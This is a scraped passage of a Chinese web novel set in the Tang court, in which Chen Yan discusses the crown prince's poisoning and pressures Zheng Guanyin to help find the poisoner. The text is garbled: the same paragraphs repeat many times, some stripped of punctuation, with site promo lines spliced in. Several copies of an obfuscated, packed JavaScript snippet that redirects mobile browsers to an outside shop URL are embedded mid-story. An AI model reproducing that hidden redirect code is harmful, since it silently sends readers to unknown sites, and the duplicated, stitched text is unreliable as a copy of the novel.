“说不定,他们提出的合作,只是在下套。” “那就试试呗。”陈衍无所谓道:“与其拒绝,被动等着世家出手,不如跟他们合作,相互利用,最后赢者通吃。” “他们有他们的目的,我同样有我的考量。” “大不了”陈衍用开玩笑的语气道:“我又带着媳妇孩子跑你这里来住呗,有我在,谁想给你下毒都难。” 李承乾面色一苦,“别再提这事了,我是实在没想到,就自己研个墨,喝点小酒都能**。” “我感觉这个太子当的也太难了。” “.” ps:宝子们,我今天有重要的事情,请假一天,爱你们哟,么么哒! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 方面,帮忙对付一下世家? 毕竟,从去年郑观音做的事来看,这个女人心里是有怨气了,而且很会把握度,没做出不能容忍之事。 以她的立场,似乎更能贴合现在的世家! “你又在打什么鬼主意?高阳狐疑道。 陈衍摇摇头,“没什么,就是在想想明天跟世家合作的事。 “合作? 李承乾像是听到了天大的笑话,“子安兄,你跟世家合作? “这话说出来,你自己信吗? “哈哈哈嘶,哎呦! 陈衍嘴角一抽,“昨日怀道大婚,世家派了个人过来,说想跟我合作种棉花,我估摸着是拿我没办法,而且是预见了‘大唐民报’带给他们的危险,想要拉拢我。 “坦白说,我还挺心动的,毕竟他们世家屹立多年,手中掌握的人脉与渠道很难想象,我从前一直想把绢帛卖出大唐,在外面赚取十倍、百倍的利润带回大唐,只是碍于没有那个渠道,一直未曾实施。 “昨天世家跟我提了这件事,我认为可以利用一下。 李承乾闻言沉思一会儿,“世家老狐狸不少,并不一定相信你愿意合作,说不定是有着其他目的。 “不管怎么说,你跟陛下绑的很死,其中利益他们或许不清楚,但你娶了长乐和高阳是事实。 “说不定,他们提出的合作,只是在下套。 “那就试试呗。陈衍无所谓道:“与其拒绝,被动等着世家出手,不如跟他们合作,相互利用,最后赢者通吃。 “他们有他们的目的,我同样有我的考量。 “大不了陈衍用开玩笑的语气道:“我又带着媳妇孩子跑你这里来住呗,有我在,谁想给你下毒都难。 李承乾面色一苦,“别再提这事了,我是实在没想到,就自己研个墨,喝点小酒都能**。 “我感觉这个太子当的也太难了。 “. ps:宝子们,我今天有重要的事情,请假一天,爱你们哟,么么哒! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 方面,帮忙对付一下世家? 毕竟,从去年郑观音做的事来看,这个女人心里是有怨气了,而且很会把握度,没做出不能容忍之事。 以她的立场,似乎更能贴合现在的世家! “你又在打什么鬼主意?高阳狐疑道。 陈衍摇摇头,“没什么,就是在想想明天跟世家合作的事。 “合作? 李承乾像是听到了天大的笑话,“子安兄,你跟世家合作? “这话说出来,你自己信吗? “哈哈哈嘶,哎呦! 陈衍嘴角一抽,“昨日怀道大婚,世家派了个人过来,说想跟我合作种棉花,我估摸着是拿我没办法,而且是预见了‘大唐民报’带给他们的危险,想要拉拢我。 “坦白说,我还挺心动的,毕竟他们世家屹立多年,手中掌握的人脉与渠道很难想象,我从前一直想把绢帛卖出大唐,在外面赚取十倍、百倍的利润带回大唐,只是碍于没有那个渠道,一直未曾实施。 “昨天世家跟我提了这件事,我认为可以利用一下。 李承乾闻言沉思一会儿,“世家老狐狸不少,并不一定相信你愿意合作,说不定是有着其他目的。 “不管怎么说,你跟陛下绑的很死,其中利益他们或许不清楚,但你娶了长乐和高阳是事实。 “说不定,他们提出的合作,只是在下套。 “那就试试呗。陈衍无所谓道:“与其拒绝,被动等着世家出手,不如跟他们合作,相互利用,最后赢者通吃。 “他们有他们的目的,我同样有我的考量。 “大不了陈衍用开玩笑的语气道:“我又带着媳妇孩子跑你这里来住呗,有我在,谁想给你下毒都难。 李承乾面色一苦,“别再提这事了,我是实在没想到,就自己研个墨,喝点小酒都能**。 “我感觉这个太子当的也太难了。 “. ps:宝子们,我今天有重要的事情,请假一天,爱你们哟,么么哒! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 方面,帮忙对付一下世家? 毕竟,从去年郑观音做的事来看,这个女人心里是有怨气了,而且很会把握度,没做出不能容忍之事。 以她的立场,似乎更能贴合现在的世家! “你又在打什么鬼主意?”高阳狐疑道。 陈衍摇摇头,“没什么,就是在想想明天跟世家合作的事。” “合作?” 李承乾像是听到了天大的笑话,“子安兄,你跟世家合作?” “这话说出来,你自己信吗?” “哈哈哈嘶,哎呦!” 陈衍嘴角一抽,“昨日怀道大婚,世家派了个人过来,说想跟我合作种棉花,我估摸着是拿我没办法,而且是预见了‘大唐民报’带给他们的危险,想要拉拢我。” “坦白说,我还挺心动的,毕竟他们世家屹立多年,手中掌握的人脉与渠道很难想象,我从前一直想把绢帛卖出大唐,在外面赚取十倍、百倍的利润带回大唐,只是碍于没有那个渠道,一直未曾实施。” “昨天世家跟我提了这件事,我认为可以利用一下。” 李承乾闻言沉思一会儿,“世家老狐狸不少,并不一定相信你愿意合作,说不定是有着其他目的。” “不管怎么说,你跟陛下绑的很死,其中利益他们或许不清楚,但你娶了长乐和高阳是事实。” “说不定,他们提出的合作,只是在下套。” “那就试试呗。”陈衍无所谓道:“与其拒绝,被动等着世家出手,不如跟他们合作,相互利用,最后赢者通吃。” “他们有他们的目的,我同样有我的考量。” “大不了”陈衍用开玩笑的语气道:“我又带着媳妇孩子跑你这里来住呗,有我在,谁想给你下毒都难。” 李承乾面色一苦,“别再提这事了,我是实在没想到,就自己研个墨,喝点小酒都能**。” “我感觉这个太子当的也太难了。” “.” ps:宝子们,我今天有重要的事情,请假一天,爱你们哟,么么哒! 你身边有不少朋友还没看到本章呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787853|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,快去给他们剧透吧 方面帮忙对付一下世家? 毕竟从去年郑观音做的事来看这个女人心里是有怨气了而且很会把握度没做出不能容忍之事。 以她的立场似乎更能贴合现在的世家! “你又在打什么鬼主意?”高阳狐疑道。 陈衍摇摇头“没什么就是在想想明天跟世家合作的事。” “合作?” 李承乾像是听到了天大的笑话“子安兄你跟世家合作?” “这话说出来你自己信吗?” “哈哈哈嘶哎呦!” 陈衍嘴角一抽“昨日怀道大婚世家派了个人过来说想跟我合作种棉花 “坦白说我还挺心动的毕竟他们世家屹立多年手中掌握的人脉与渠道很难想象我从前一直想把绢帛卖出大唐在外面赚取十倍、百倍的利润带回大唐只是碍于没有那个渠道一直未曾实施。” “昨天世家跟我提了这件事我认为可以利用一下。” 李承乾闻言沉思一会儿“世家老狐狸不少并不一定相信你愿意合作说不定是有着其他目的。” “不管怎么说你跟陛下绑的很死其中利益他们或许不清楚但你娶了长乐和高阳是事实。” “说不定他们提出的合作只是在下套。” “那就试试呗。”陈衍无所谓道:“与其拒绝被动等着世家出手不如跟他们合作相互利用最后赢者通吃。” “他们有他们的目的我同样有我的考量。” “大不了”陈衍用开玩笑的语气道:“我又带着媳妇孩子跑你这里来住呗有我在谁想给你下毒都难。” 李承乾面色一苦“别再提这事了我是实在没想到就自己研个墨喝点小酒都能**。” “我感觉这个太子当的也太难了。” “.” ps:宝子们我今天有重要的事情请假一天爱你们哟么么哒! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 方面,帮忙对付一下世家? 毕竟,从去年郑观音做的事来看,这个女人心里是有怨气了,而且很会把握度,没做出不能容忍之事。 以她的立场,似乎更能贴合现在的世家! “你又在打什么鬼主意?”高阳狐疑道。 陈衍摇摇头,“没什么,就是在想想明天跟世家合作的事。” “合作?” 李承乾像是听到了天大的笑话,“子安兄,你跟世家合作?” “这话说出来,你自己信吗?” “哈哈哈嘶,哎呦!” 陈衍嘴角一抽,“昨日怀道大婚,世家派了个人过来,说想跟我合作种棉花,我估摸着是拿我没办法,而且是预见了‘大唐民报’带给他们的危险,想要拉拢我。” “坦白说,我还挺心动的,毕竟他们世家屹立多年,手中掌握的人脉与渠道很难想象,我从前一直想把绢帛卖出大唐,在外面赚取十倍、百倍的利润带回大唐,只是碍于没有那个渠道,一直未曾实施。” “昨天世家跟我提了这件事,我认为可以利用一下。” 李承乾闻言沉思一会儿,“世家老狐狸不少,并不一定相信你愿意合作,说不定是有着其他目的。” “不管怎么说,你跟陛下绑的很死,其中利益他们或许不清楚,但你娶了长乐和高阳是事实。” “说不定,他们提出的合作,只是在下套。” “那就试试呗。”陈衍无所谓道:“与其拒绝,被动等着世家出手,不如跟他们合作,相互利用,最后赢者通吃。” “他们有他们的目的,我同样有我的考量。” “大不了”陈衍用开玩笑的语气道:“我又带着媳妇孩子跑你这里来住呗,有我在,谁想给你下毒都难。” 李承乾面色一苦,“别再提这事了,我是实在没想到,就自己研个墨,喝点小酒都能**。” “我感觉这个太子当的也太难了。” “.” ps:宝子们,我今天有重要的事情,请假一天,爱你们哟,么么哒! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 方面,帮忙对付一下世家? 毕竟,从去年郑观音做的事来看,这个女人心里是有怨气了,而且很会把握度,没做出不能容忍之事。 以她的立场,似乎更能贴合现在的世家! “你又在打什么鬼主意?高阳狐疑道。 陈衍摇摇头,“没什么,就是在想想明天跟世家合作的事。 “合作? 李承乾像是听到了天大的笑话,“子安兄,你跟世家合作? “这话说出来,你自己信吗? “哈哈哈嘶,哎呦! 陈衍嘴角一抽,“昨日怀道大婚,世家派了个人过来,说想跟我合作种棉花,我估摸着是拿我没办法,而且是预见了‘大唐民报’带给他们的危险,想要拉拢我。 “坦白说,我还挺心动的,毕竟他们世家屹立多年,手中掌握的人脉与渠道很难想象,我从前一直想把绢帛卖出大唐,在外面赚取十倍、百倍的利润带回大唐,只是碍于没有那个渠道,一直未曾实施。 “昨天世家跟我提了这件事,我认为可以利用一下。 李承乾闻言沉思一会儿,“世家老狐狸不少,并不一定相信你愿意合作,说不定是有着其他目的。 “不管怎么说,你跟陛下绑的很死,其中利益他们或许不清楚,但你娶了长乐和高阳是事实。 “说不定,他们提出的合作,只是在下套。 “那就试试呗。陈衍无所谓道:“与其拒绝,被动等着世家出手,不如跟他们合作,相互利用,最后赢者通吃。 “他们有他们的目的,我同样有我的考量。 “大不了陈衍用开玩笑的语气道:“我又带着媳妇孩子跑你这里来住呗,有我在,谁想给你下毒都难。 李承乾面色一苦,“别再提这事了,我是实在没想到,就自己研个墨,喝点小酒都能**。 “我感觉这个太子当的也太难了。 “. ps:宝子们,我今天有重要的事情,请假一天,爱你们哟,么么哒! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第457章 嘴硬姐 探望过李承乾,陈衍跟妻女以及小兕子走出东宫。 在回家的路上他时不时会发呆一会儿,似乎是在思考什么。 因为陈衍多次失神,高阳看不下去了,“我说你到底在想什么呢?差这么点时间吗?不能回家再想?” 陈衍闻言停下脚步,转头看着她不说话。 高阳秀眉一竖,“怎么?还不让人说了?你方才可是差点撞了墙。” 李丽质怕他们在路上吵起来,赶忙站出来调和,“高阳妹妹,夫君估计是在想比较重要的事,不然以夫君的性子,绝不会这样。” “夫君你也是,高阳妹妹语气虽然不太好,但话是在理的,走路还是小心点好。” 陈衍没在意这些小事,严肃问:“高阳,你是不是接触过郑观音?” 高阳一愣,随即不动声色道:“当然接触过,你这不是废话吗?她再怎么说也是我伯母,小时候我经常见她。” “这有什么奇怪的?” 陈衍凝视着她,沉默一瞬,开口道:“你清楚我指的不是这方面,我指的是自渭南县**案出来之后,也就是你嫁给我之后!” “你找她了?” 高阳闻言看了看李丽质,明白自己绝对瞒不过陈衍,索性点头承认了,“是,我去找过她。” 说着,她似是抱怨道:“不过这还不是因为你?刚上任去渭南县,就白白被人利用一次,后来长安城情况混乱,你又非要回去,我不得上门跟郑观音说说理吗?” “咦?”陈衍颇为诧异,心暖的同时,又有些好笑道:“哟,咱家的傲娇公主竟然还瞒着我这么一桩事呢?” “怎么,见不得你家夫君受委屈,给我出头去了?” 高阳呼吸一滞,嘴硬道:“你想多了,我就是觉得你跟个二傻子一样,刚上任就被人利用,简直丢尽了我的脸,那日路过郑观音的住处,顺便进去说说罢了。” “更何况,你好歹是本公主的驸马,俗话说得好,打狗还得看主人呢。她利用你,不就是不将我放在眼里吗?” 陈衍:“.” 李丽质:“.” 一旁,小兕子都无语了,本以为节奏姐才是真的菜,高阳阿姐还是有点本事的,毕竟她跟阿兄看似吵吵闹闹,实则感情深厚,多少有点本事在身上。 没曾想,这同样是个菜鸡,足以跟节奏姐并列在一起成为嘴硬姐。 方才那么好的机会,你但凡说话好听点,那晚上阿兄不得狠狠奖励你吗? 你不是又赢节奏姐一次了? 兕子实在难以理解,为什么这货偏偏最得阿兄欢心啊? 难不成就是单纯的命好?最先成为阿兄的妻子,也最先给阿兄诞下女儿? “.行!”陈衍都被整无语了,揉了揉太阳穴,“丽质,你带小岁安跟兕子先回去,我跟高阳去找一下郑观音。” “找郑.观音?”李丽质愕然,搞不懂自家夫君怎么想的。 刚从东宫出来,干嘛要去找这位曾经利用过他的人? 蓦然间,李丽质想到一种可能,狐疑道:“夫君,你该不会是得知自己被郑观音利用过,想上门出口气吧?” “如果是这样的话,那还是别去了,毕竟父皇都没追究她污蔑蔡国公” 她说话点到为止,不希望陈衍前去。 因为郑观音身份本身就很敏感,贸然接触她,谁知道会有什么麻烦? 她还暗示李世民对郑观音的态度,恐怕那个女人只要不是太过火,最后都会不了了之。 高阳倒是没劝。 因为她觉得陈衍恐怕不是突然做出的决定,说不定刚刚想的就是这件事。 陈衍白了李丽质一眼,“难不成,在你眼里我就是一个睚眦必报的人?这点肚量都没有,去欺负一个寡妇?” 李丽质沉吟道:“难说。” 陈衍:“.” 高阳十分认同地点点头,“别的不谈,韦家的下场依然历历在目,谁都不敢忘记。” “再说了,你可不像是在乎什么寡妇不寡妇的人,你当初甚至拿马鞭抽过刚见第一面,手无缚鸡之力的女子。” 陈衍:“. 短时间内,他被自己两位妻子各怼沉默了一次。 他深吸一口气,没好气道:“行了,按照我说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795636|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办! 陈衍指着李丽质,“你!赶紧给我带着女儿和兕子回去,别跟我废话。 “还有你,高阳,把女儿交给你姐,跟我走! 说完,他一挥袖子,气冲冲地走了。 高阳乐呵呵笑了声,把怀里的女儿交给李丽质抱着,然后快步跟了上去。 李丽质看了眼怀里的小岁安,又低头看了眼妹妹,迟疑道:“兕子,方才阿姐是不是说错话了? 兕子小大人似的叹了口气,原以为是节奏姐终于要雄起了,原来只是无心之语。 “节奏姐,你没说错话,你反而说对了。 “我还以为你开窍了,知道该怎么跟阿兄开开玩笑,不跟以前一样死板、无趣的样子,会跟阿兄互相打趣了呢。 “结果你现在问我你是不是说错话了? “那我还能说什么? “你保持好你的节奏呗! 李丽质:“. 她张了张嘴,很想说自己并不死板,起码私底下她现在已经很放得开了。 但是这话肯定不能跟兕子说,所以只能闭嘴。 然而,小家伙似乎是起劲了,边走边说:“阿姐啊,不是我说你,我记得你没嫁给我阿兄之前,挺活泼灵动的啊。 “记得你从前一有机会就跑到渭南县找阿兄聊天,你们两个在府里能转上大半天,那话跟说不完一样,还聊得贼高兴。 “为什么一嫁过来,就变成了无趣的管家婆了呢? 李丽质闻言,不知为何,忽然大怒,“你们还好意思说? “你以为你们还是从前吗?府里没几个人,平日事情不多,没什么需要管的。可你看看现在,每天上桌吃饭的都多少人了? “府里的下人又来了多少,平日里各种琐事又多了多少? “你们有一个人帮过我吗? 李丽质越说越气,“好好好,你们说我是无趣管家婆是吧? “那我以后不管了!你们自己看着办吧! 兕子目瞪口呆望着气呼呼往前走的李丽质,以往聪明的小脑袋瓜有些转不过弯来。 说着说着,咋还破防了呢? “. 第458章 见郑观音 “诺,这里就是郑观音的住处。” 高阳指了指不远处的院子,“这里比较私密,平时没什么人来,所以显得有些寂静。” “不过里面环境倒是不错,我上次来见到了不少小孩。” 陈衍颔首,对此倒是没什么意外。 郑观音嘛,李建成都噶了,确实不适合露面。 “走吧,我们进去看看。” 说着,他迈步走进去,高阳随后跟上。 跟上次来一样,这里没什么守卫,敲门半天没人开,陈衍有些为难。 高阳摆摆手,“人家都利用过你,你还跟人家讲礼貌呢?” 她直接推开了门,毫不犹豫走了进去。 陈衍嘴角一抽,没说什么,跟着高阳进入院内。 这里显得很是寂静和空旷,没发现高阳说的小孩。 直到他们走深一些,隐隐约约听到了一些稚嫩的读书声。 陈衍眉头一挑,跟高阳顺着声音找过去,在一间类似学堂的屋内见到了一个中年美妇人带着七八位小孩念书。 “呵呵.看来我们来的不是时候。” 高阳斜了他一眼,“你居然还会讲这个?” “堂堂渭国公,能不能支棱起来?” 陈衍满头黑线,正想反驳,里面的郑观音似乎发现了他们,让小孩自己先读着,然后平淡地走出来。 “大名鼎鼎的渭国公、高阳公主,不知今日前来所为何事?” 郑观音很直接,就差没把‘我不欢迎你们’六个字写脑门上了。 陈衍淡笑,“按理来说,我应该叫您一声伯母,只看您这样子,估计也不会喜欢。” “今日冒昧前来,确实有所求,但您应该不会希望我在这里说。” 郑观音上下打量陈衍一眼,面前的少年风度翩翩,整个人自信而又沉稳,尽管年少,但已经隐隐散发出一种掌权者的势。 跟同样年轻风华正茂的高阳站在一起,谁来了都要说上一声天作之合。 她心里暗叹眼里闪过一丝无奈又有些气恼:“我可担不起堂堂渭国公一句伯母既然要说事那跟我来吧!” 郑观音说完朝他们示意跟上 陈衍意味深长地看了眼高阳。 看来高阳说上次来跟郑观音说说理这个理怕是说到人家心里去了。 要不然不至于利用过他还对他这么不待见。 正厅内郑观音请两人坐下然后亲自动手给两人倒了杯茶。 “说起来这茶还是渭国公家的产业呢。如今这名为碧螺春的茶可谓是一两难求我这还是前些时候观音婢差人送过来的。” “郑夫人既然想喝明日我派人送几斤过来便是一点茶叶罢了说一两难求就太夸大了。”陈衍含笑回应。 郑观音不想和他扯这些事直接问:“此事再说吧渭国公今日前来到底所为何事?” “其实也没什么。”陈衍一脸和善“不知郑夫人今日有没有听说过有关太子的事?” “太子?”郑观音疑惑道“太子怎么了?” 陈衍直言道:“太子被人下了毒下毒者的手法相当高明险些让太子丧命至今仍躺在床上。” “而陛下现如今还未曾找到下毒者。” 闻听此言郑观音脸色大变失声说:“你该不会怀疑我吧?” 高阳听后同样有这样的猜测要不然怎么说得通陈衍好端端发呆那么久又不由分说地拉着她来找郑观音? 如果给李承乾下毒的是郑观音那么一切就说得通了。 首先郑观音确实存在这个动机。 李世民杀了她丈夫那她毒杀李世民的儿子并不奇怪。 其次郑观音手上掌握的人脉确实不少这一点从上次能污蔑杜如晦就能看得出来。 如若不然绝不可能导致一位宰相入狱。 想到这里高阳看向郑观音的眼里已经带上了凶光。 若真是这样那郑观音不仅利用她夫君还毒杀她兄长。 高阳觉得自己提不动大刀,但小刀应该没问题! 然而,就在气氛愈发紧张时,陈衍摆手笑道:“郑夫人说得哪里话,您可是太子的伯母,他是您侄儿。我怀疑谁也不会怀疑您啊。 听到这话,郑观音非但没有放松,反而更警惕了。 正所谓无事不登三宝殿,陈衍不仅登了,而且上来就跟她说太子被人下毒这种一听就知道很私密的事。 即使没有怀疑她,也一定没什么好事! 果不其然,陈衍接下来一句话,险些让她长久以来养成的涵养消散一空。 “我听棠儿说,郑夫人人脉甚广,在长安城可以办到许多别人不敢想之事,所以.我想请郑夫人施以援手,帮忙查查是谁对太子下了毒! 郑观音简直被气笑了。 让自己帮忙查谁对太子下毒? 先不说自己跟李世民的仇,就单说上次你家娘子上来指着我的鼻子骂**,你让我帮你? 只是,她拒绝的话未曾说出口,便察觉到了陈衍话里暗藏的意思。 “在长安城可以办到许多别人不敢想之事 仔细回想一遍这句话,郑观音沉默了。 “你在威胁我? 陈衍缓缓摇头,“不算威胁,只是您因为长孙皇后而安然无恙,如今她亲子遭了毒手,您伸伸手,帮帮忙,不失为一桩美谈。 提起长孙皇后的名字,郑观音再度沉默了。 她清楚陈衍指的是什么,上次她为了出口恶气,让病重未痊愈的杜如晦入狱,李世民没点反应是不可能的。 但到现在依然没点动静,大概率是长孙皇后说了情。 当然,郑观音之所以敢那么做,同样是把握住了李世民和长孙皇后两口子的心思与性格,以及他们的顾虑。 场内,安静了好一会儿,陈衍自顾自地喝茶,并不着急。 高阳则是在啧啧称奇,让郑观音帮忙查案,亏陈衍想得出来。 半晌,郑观音突然问了一个问题,“我真的很好奇,你为什么会想到来找我帮忙查下毒之人?又为什么一副认定我一定会答应的模样? “. 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 高阳觉得自己提不动大刀,但小刀应该没问题! 然而,就在气氛愈发紧张时,陈衍摆手笑道:“郑夫人说得哪里话,您可是太子的伯母,他是您侄儿。我怀疑谁也不会怀疑您啊。 听到这话,郑观音非但没有放松,反而更警惕了。 正所谓无事不登三宝殿,陈衍不仅登了,而且上来就跟她说太子被人下毒这种一听就知道很私密的事。 即使没有怀疑她,也一定没什么好事! 果不其然,陈衍接下来一句话,险些让她长久以来养成的涵养消散一空。 “我听棠儿说,郑夫人人脉甚广,在长安城可以办到许多别人不敢想之事,所以.我想请郑夫人施以援手,帮忙查查是谁对太子下了毒! 郑观音简直被气笑了。 让自己帮忙查谁对太子下毒? 先不说自己跟李世民的仇,就单说上次你家娘子上来指着我的鼻子骂**,你让我帮你? 只是,她拒绝的话未曾说出口,便察觉到了陈衍话里暗藏的意思。 “在长安城可以办到许多别人不敢想之事 仔细回想一遍这句话,郑观音沉默了。 “你在威胁我? 陈衍缓缓摇头,“不算威胁,只是您因为长孙皇后而安然无恙,如今她亲子遭了毒手,您伸伸手,帮帮忙,不失为一桩美谈。 提起长孙皇后的名字,郑观音再度沉默了。 她清楚陈衍指的是什么,上次她为了出口恶气,让病重未痊愈的杜如晦入狱,李世民没点反应是不可能的。 但到现在依然没点动静,大概率是长孙皇后说了情。 当然,郑观音之所以敢那么做,同样是把握住了李世民和长孙皇后两口子的心思与性格,以及他们的顾虑。 场内,安静了好一会儿,陈衍自顾自地喝茶,并不着急。 高阳则是在啧啧称奇,让郑观音帮忙查案,亏陈衍想得出来。 半晌,郑观音突然问了一个问题,“我真的很好奇,你为什么会想到来找我帮忙查下毒之人?又为什么一副认定我一定会答应的模样? “. 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 高阳觉得自己提不动大刀但小刀应该没问题! 然而就在气氛愈发紧张时陈衍摆手笑道:“郑夫人说得哪里话您可是太子的伯母他是您侄儿。我怀疑谁也不会怀疑您啊。” 听到这话郑观音非但没有放松反而更警惕了。 正所谓无事不登三宝殿陈衍不仅登了而且上来就跟她说太子被人下毒这种一听就知道很私密的事。 即使没有怀疑她也一定没什么好事! 果不其然陈衍接下来一句话险些让她长久以来养成的涵养消散一空。 “我听棠儿说郑夫人人脉甚广在长安城可以办到许多别人不敢想之事所以.我想请郑夫人施以援手帮忙查查是谁对太子下了毒!” 郑观音简直被气笑了。 让自己帮忙查谁对太子下毒? 先不说自己跟李世民的仇就单说上次你家娘子上来指着我的鼻子骂**你让我帮你? 只是她拒绝的话未曾说出口便察觉到了陈衍话里暗藏的意思。 “在长安城可以办到许多别人不敢想之事” 仔细回想一遍这句话郑观音沉默了。 “你在威胁我?” 陈衍缓缓摇头“不算威胁只是您因为长孙皇后而安然无恙如今她亲子遭了毒手您伸伸手帮帮忙不失为一桩美谈。” 提起长孙皇后的名字郑观音再度沉默了。 她清楚陈衍指的是什么上次她为了出口恶气让病重未痊愈的杜如晦入狱李世民没点反应是不可能的。 但到现在依然没点动静大概率是长孙皇后说了情。 当然 场内安静了好一会儿陈衍自顾自地喝茶并不着急。 高阳则是在啧啧称奇让郑观音帮忙查案亏陈衍想得出来。 半晌郑观音突然问了一个问题“我真的很好奇你为什么会想到来找我帮忙查下毒之人?又为什么一副认定我一定会答应的模样?” “.” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 高阳觉得自己提不动大刀,但小刀应该没问题! 然而,就在气氛愈发紧张时,陈衍摆手笑道:“郑夫人说得哪里话,您可是太子的伯母,他是您侄儿。我怀疑谁也不会怀疑您啊。” 听到这话,郑观音非但没有放松,反而更警惕了。 正所谓无事不登三宝殿,陈衍不仅登了,而且上来就跟她说太子被人下毒这种一听就知道很私密的事。 即使没有怀疑她,也一定没什么好事! 果不其然,陈衍接下来一句话,险些让她长久以来养成的涵养消散一空。 “我听棠儿说,郑夫人人脉甚广,在长安城可以办到许多别人不敢想之事,所以.我想请郑夫人施以援手,帮忙查查是谁对太子下了毒!” 郑观音简直被气笑了。 让自己帮忙查谁对太子下毒? 先不说自己跟李世民的仇,就单说上次你家娘子上来指着我的鼻子骂**,你让我帮你? 只是,她拒绝的话未曾说出口,便察觉到了陈衍话里暗藏的意思。 “在长安城可以办到许多别人不敢想之事” 仔细回想一遍这句话,郑观音沉默了。 “你在威胁我?” 陈衍缓缓摇头,“不算威胁,只是您因为长孙皇后而安然无恙,如今她亲子遭了毒手,您伸伸手,帮帮忙,不失为一桩美谈。” 提起长孙皇后的名字,郑观音再度沉默了。 她清楚陈衍指的是什么,上次她为了出口恶气,让病重未痊愈的杜如晦入狱,李世民没点反应是不可能的。 但到现在依然没点动静,大概率是长孙皇后说了情。 当然,郑观音之所以敢那么做,同样是把握住了李世民和长孙皇后两口子的心思与性格,以及他们的顾虑。 场内,安静了好一会儿,陈衍自顾自地喝茶,并不着急。 高阳则是在啧啧称奇,让郑观音帮忙查案,亏陈衍想得出来。 半晌,郑观音突然问了一个问题,“我真的很好奇,你为什么会想到来找我帮忙查下毒之人?又为什么一副认定我一定会答应的模样?” “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 高阳觉得自己提不动大刀,但小刀应该没问题! 然而,就在气氛愈发紧张时,陈衍摆手笑道:“郑夫人说得哪里话,您可是太子的伯母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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即使没有怀疑她也一定没什么好事! 果不其然陈衍接下来一句话险些让她长久以来养成的涵养消散一空。 “我听棠儿说郑夫人人脉甚广在长安城可以办到许多别人不敢想之事所以.我想请郑夫人施以援手帮忙查查是谁对太子下了毒!” 郑观音简直被气笑了。 让自己帮忙查谁对太子下毒? 先不说自己跟李世民的仇就单说上次你家娘子上来指着我的鼻子骂**你让我帮你? 只是她拒绝的话未曾说出口便察觉到了陈衍话里暗藏的意思。 “在长安城可以办到许多别人不敢想之事” 仔细回想一遍这句话郑观音沉默了。 “你在威胁我?” 陈衍缓缓摇头“不算威胁只是您因为长孙皇后而安然无恙如今她亲子遭了毒手您伸伸手 提起长孙皇后的名字郑观音再度沉默了。 她清楚陈衍指的是什么上次她为了出口恶气让病重未痊愈的杜如晦入狱李世民没点反应是不可能的。 但到现在依然没点动静大概率是长孙皇后说了情。 当然郑观音之所以敢那么做同样是把握住了李世民和长孙皇后两口子的心思与性格以及他们的顾虑。 场内安静了好一会儿陈衍自顾自地喝茶并不着急。 高阳则是在啧啧称奇让郑观音帮忙查案亏陈衍想得出来。 半晌郑观音突然问了一个问题“我真的很好奇你为什么会想到来找我帮忙查下毒之人?又为什么一副认定我一定会答应的模样?” “.” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第459章 高阳发飙 “莫非,你觉得凭借一点把柄就能拿捏我?” 郑观音对此真的很不解。 是,导致杜如晦入狱是她做的,但那又怎么样呢? 连李世民都没再继续追查,甚至包括杜如晦自己都未再提起过此事。 如果陈衍想把此事捅出来,先不说她怎么样,李世民该如何处置呢? 杀了她? 放过她? 都说不过去! 揭发她,只会让大家陷入两难境地罢了。李世民不知如何处置,杜如晦估计还要为她求情,陈衍自己也再没有任何把柄可以要挟她。 所以,想借此来要挟她,基本上是不可能的。 “嗯我先来回答您第一个问题,为什么我会想要找您来查!”陈衍思考一会儿,打算实话实说:“首先,对太子下毒这种事,一旦被查出来,诛九族定然是跑不掉的。” “那下毒之人既然敢下毒,定然是做好了万全的准备,有信心让我等,乃至陛下都查不出来,如同您当初构陷蔡国公入狱一样。” “我相信,当时的你一定有完全的把握不被查出来,即使出现意外暴露,也有信心保全自身。” “是这样吗?” 郑观音不置可否,微微抬了抬下巴,示意他继续说下去。 陈衍眼里闪过一丝笑意,继续道:“其实,人们都很容易被自己的思维给局限住,起初您做得确实天衣无缝,陛下当时肯定想查出您这位幕后真凶,然后进行严惩。” “只不过,陛下最初根本毫无收获,查不到幕后之人是您。” “可即便如此,陛下依旧未曾想过让其他人,或者其他官员帮忙查,因为陛下认为,连他自己派了那么多人都查不出来,别人就更不可能了。” “但事实上,我只是跟高阳提过几嘴当时的情况,高阳立即便猜到是您,超越了所有人,您同样被打了个措手不及,导致您嗯,现在对我态度不是很好。” 高阳弯了弯眼眸,挺直了胸膛,微微仰着下巴,显然对陈衍的话相当受用。 郑 